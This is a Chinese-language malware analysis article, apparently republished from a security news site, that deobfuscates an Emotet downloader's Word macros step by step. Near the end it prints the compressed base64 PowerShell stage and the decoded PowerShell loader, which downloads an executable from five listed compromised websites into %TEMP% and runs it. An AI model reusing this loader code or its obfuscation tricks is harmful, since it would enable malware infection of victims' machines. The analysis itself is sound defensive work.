當前位置:
首頁 > 新聞 > 被植入惡意代碼的Emotet Downloader細節分析

被植入惡意代碼的Emotet Downloader細節分析

我已經對Emotet Downloader進行了剖析,它使用宏和Powershell命令從受攻擊的網站下載Emotet。最近他們已經修改了下載器的工作方式,並且已經被上傳到了VirusBay。下面我們對其進行分析!

如下圖所示(右側是新樣本,左側是舊樣本),新舊兩個文檔有一些相似之處,他們均通過呈現一個舊版本的Microsoft Office創建的文檔,謊稱出現錯誤,並且為了查看錯誤受害者需要點擊Enable Content(啟用內容)。這一操作看起來似乎是合法的,那麼讓我們看看當點擊了Enable Content時會運行什麼程序。

當打開Macro部分時,出現兩個宏,其中包含幾個函數/子常式。首先查看的是autoopen()或auto_open(),因為該操作是單擊「Enable Content」時被執行的。

還有對Sqr()的調用,它計算一個數字的平方根並將得出的值返回,我們稍後會對其分析。首先,我們將這些宏提取到一個文本文件中,這樣可以更容易地對其進行處理。

由於純文本的dropper(惡意應用輸出程序)和downloader(惡意應用下載程序)因包含垃圾代碼而臭名昭著,所以每當聲明一個變數時,我都會檢查該變數是否存在於宏的其他地方。「On Error Resume Next」說明文檔中含有垃圾代碼,它的基本意思是「如果提示錯誤,請忽略,繼續進行下一步操作」。我首先檢查了Hirfd和MLiDY是否同時存在於包含宏的兩個文件中,結果不是。因此我假設該變數在整個惡意攻擊過程中不是必需的,如果將剩下的部分除去混

淆後出現任何錯誤,我將不得不返回去分析剩下的部分。一旦我們忽略了垃圾代碼並添加了一些評論,我們會得到如下結果:

因此,autoopen()只負責執行函數vwncz(),這是第一個宏中的另一個函數。

表面上看,這個函數中的垃圾代碼似乎包含了CStr(),就像autoopen()一樣,因此如果刪除了這些行就會得到了如下:

可以認為這些值(wHjAK()、rDRYBhb()…)是函數,因為如果將它們與第二個宏交叉引用,它們則會被聲明為函數。由此可知第二個宏;的目的是形成字元串。Shell()出現在字元串的開頭,它可以在機器上執行文件。第一個參數中的第一個字母是「C」,因此我們可以猜測這與cmd有關。字元串末尾的0可以將程序從用戶中隱藏——它基本上是vbHide,而不是它的數值。現在我們已經完全去除了第一個宏的混淆,下面繼續對下一個宏去除混淆。

查看第一個宏中shell執行的字元串,wHjAK()是第一個被調用的,所以我們從該函數開始。將這兩個文件進行比較,這兩個文件都有CStr,因此可以假設任何帶有CStr的字元串都是垃圾代碼。去除所有帶有CStr的字元串後,我們得到以下結果:

從外觀上看,因為wHjAK是一個函數它會返回一個值,最後的字元串存儲在wHjAK中,通過將所有的字元串添加在一起可以得到最終的輸出。只需啟動一個Python Interpreter,並將不包含End Function以及On Error Resume Next以上的所有東西的代碼粘貼到其中,這樣就不用手動添加字元串。通過這些操作,只需輸入print wHjAK就可獲得最終的字元串。

雖然很難猜測如果沒有剩下的部分代碼,該命令可以做什麼,可以認為這一部分代碼正在聲明不同的變數,並執行一個隱藏命令提示符- %^c^o^m^S^p^E^c^% 基本上指向命令提示符的路徑。現在我們可以把函數縮小到如下:

這種垃圾代碼「模式」在每個函數中都存在,因此對於第三個函數,當刪除所有CStr字元串並將其傳輸到Python Interpreter時,得到如下:

函數二和函數三是這樣的:

雖然也可以對剩下的函數進行這種操作,但是太浪費時間。一個簡單的Python腳本可以刪除所有帶有CStr的字元串,並將其餘的行寫到一個文件中:

當在第二個宏文件上運行該腳本時,可以提取所有不包含CStr的字元串。但是,如果這樣會出現一個問題,那就是文件中會包含不必要的行,例如On Error Resume Next,因此可以將If語句更改為如下所示:

if "CStr" not in lines and "End" not in lines and "Error" not in lines and "Function_" not in lines:

這樣就只剩下變數了。現在可以將所有重要的行寫到文件中,但是仍然需要自己形成最終的字元串。我們或許可以再把它自動化一些。首先,我們需要找到函數名,並將找到的函數名輸出。獲取了包含最終字元串的函數之後,將數據寫到另一個文件——這次是一個Python File,我們可以執行它來獲得完整的字元串。新的文件將找到完整的字元串並將其寫到另一個文件中,這樣我們就可以將其讀入主程序的內存中,並將其存儲在一個變數中。如果這一操作沒有作用,可以在這裡找到完整的腳本——它是一個輸出最終解碼字元串的完整腳本。見結尾!

總之,在運行形成最終字元串的腳本時,我們將它作為shell命令:

因此,首先,該命令正設置全局變數,然後執行一個base64編碼的字元串。在對base64字元串進行解碼後,我們得到如下輸出:

乍一看,它看起來像shellcode——但它不是。每一個x00在空位元組後面都包含一個字母。如果我們刪除所有的空位元組,得到的腳本如下:

因此可以確認這實際上是一個Powershell腳本,但是它又是在哪裡被調用的?如果回到原始命令並分析所設置的變數,文件末尾如下:

!%izXfwddfGKP%!!%vqJRNrOQqvMv%!!%BOuDbApmqzScN%!!%voYPuLNXjn%!!%MUtvjfFlzFFsL%!!%HEYjHOmzK%! -e

如果我們將該特定字元串中的每個變數解析為所聲明的變數,得到如下:

!%izXfwddfGKP%! = !%fuqGUmOvI%! = p!%vqJRNrOQqvMv%! = !%KXEhPKfZWWmaJ%! = o^w!%BOuDbApmqzScN%! = e^r!%voYPuLNXjn%! = s!%MUtvjfFlzFFsL%! = he!%HEYjHOmzK%! = ll!%izXfwddfGKP%! !%vqJRNrOQqvMv%! !%BOuDbApmqzScN%! !%voYPuLNXjn%! !%MUtvjfFlzFFsL%! !%HEYjHOmzK%! = po^we^rshell = powershell

因此,通過使用變數聲明,該downloader能夠形成字元串「powershell」並執行編碼的字元串。現在回到我們找到的powershell腳本。

( neW-ObJect io.compRessION.DEfLatEstreAm([IO.MEMORystream][SySTEm.CONvErT]::fRoMBASE64stRiNg( "VZDtS8MwEMb/lXwodEOXOF/RImzOijpfJvVlG4Jk6Wni2qQkV9s69r8b3RT8cnB3v+ce7gn06Lz4vCTHREPVMbN3EEgs16nJoyC9HX2c3v3fJY1DyOkNIH2C2SBToDEKqpOLGD0YSsTiiDGeQ11TN2fT/cvJlPXW46qqqOSpspkq8xItOOSld0MqTM66DUoxHP7REniGspCNU8J9E5SXrNjqD+KHfxdz7synyrimSr8aNulfdfvyj3DzJgOegv05wW7PD5pdvc1CmhSZwlbYC9tR8Hgx7t8n/oFglQfVUGOru0n2D7s7ex7Qw0E8Kb8B0B9HPoGCbJDwOfT1V+x7CjWE0auxwIVsBdU4nt0Rpckqn/YCbbNYp0pPTaUzw9MzlcEapfcmQav0W6u9SdaW7ShBbrEzskaAc7/jaOY95tFScBRyUVmF0JHGIQleaFwLKFAZTa+9gr9BtFx+AQ=="), [iO.cOmpREssIOn.COMPrESsioNmODe]::DeCOMpReSs) | %{ neW-ObJect sYStEm.iO.StrEaMReADER( $_,[SYstEM.tExt.eNcOdInG]::AsCII) } ).rEadtOeND()|&((VAriABle "*mdr*").NAMe[3,11,2]-jOin"")

該腳本中嵌入了一個Base64字元串,它是從使用[System.Convert]::FromBase64String的Base64轉換而來的。問題是,當我們嘗試用Base64解碼該字元串時,得到的是亂碼。

原因是該字元串被壓縮了。為了解壓它,可以使用一個名為zlib的Python模塊。使用zlib.decompress()將壓縮數據作為參數傳遞,得到解壓縮值,即:

上篇Emotet文章中介紹了下載腳本,在每個「;」後添加新的一行形成如下:

$nPHpzJ = new-object random;

$dOPvDQ = new-object System.Net.WebClient;$wBIEt = "http://amexx.sk/Z6JYZ/@http://www.hadirliumutrestaurant.com/1ythcKK/@http://healthphysics.com.au/p0ACEU/@http://www.masozilan.info/YAL1Ah/@http://skyleaders.com/OH7y4n2/".Split);

$VIXATS = $nPHpzJ.next(1, 69135);

$nKCEYu = $env:temp + "" + $VIXATS + ".exe";

for each ($wXEbQ in $wBIEt) {

try {

$dOPvDQ.DownloadFile($wXEbQ.ToString(), $nKCEYu);

Start-Process $nKCEYu;

break;

}

catch {

write-host $_.Exception.Message;

}

}

簡單的說,該腳本通過在1和69135之間隨機選擇一個數字創建一個隨機的文件名,然後將它作為.exe存儲在%TEMP%目錄中。啟動一個for循環,該循環遍歷存儲在$dOPvDQ中的每個URL。然後該腳本嘗試從該站點下載一個文件,並將其存儲在%TEMP%目錄中。然後使用Start-Process執行該文件。在檢查了所有站點是否會下載一個文件之後,我得出的結論是,網站所有者(因為這些站點是合法的,只是被攻擊了)刪除了託管在其web伺服器上的Emotet可執行文件。

總結:

URL:

hxxp://amexx.sk/Z6JYZ/

hxxp://www.hadirliumutrestaurant.com/1ythcKK/

hxxp://healthphysics.com.au/p0ACEU/

hxxp://www.masozilan.info/YAL1Ah/

hxxp://skyleaders.com/OH7y4n2/

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

LuckyMouse攻擊了中亞某國國家數據中心
威脅獵手在現代安全環境中運作之道

TAG:嘶吼RoarTalk |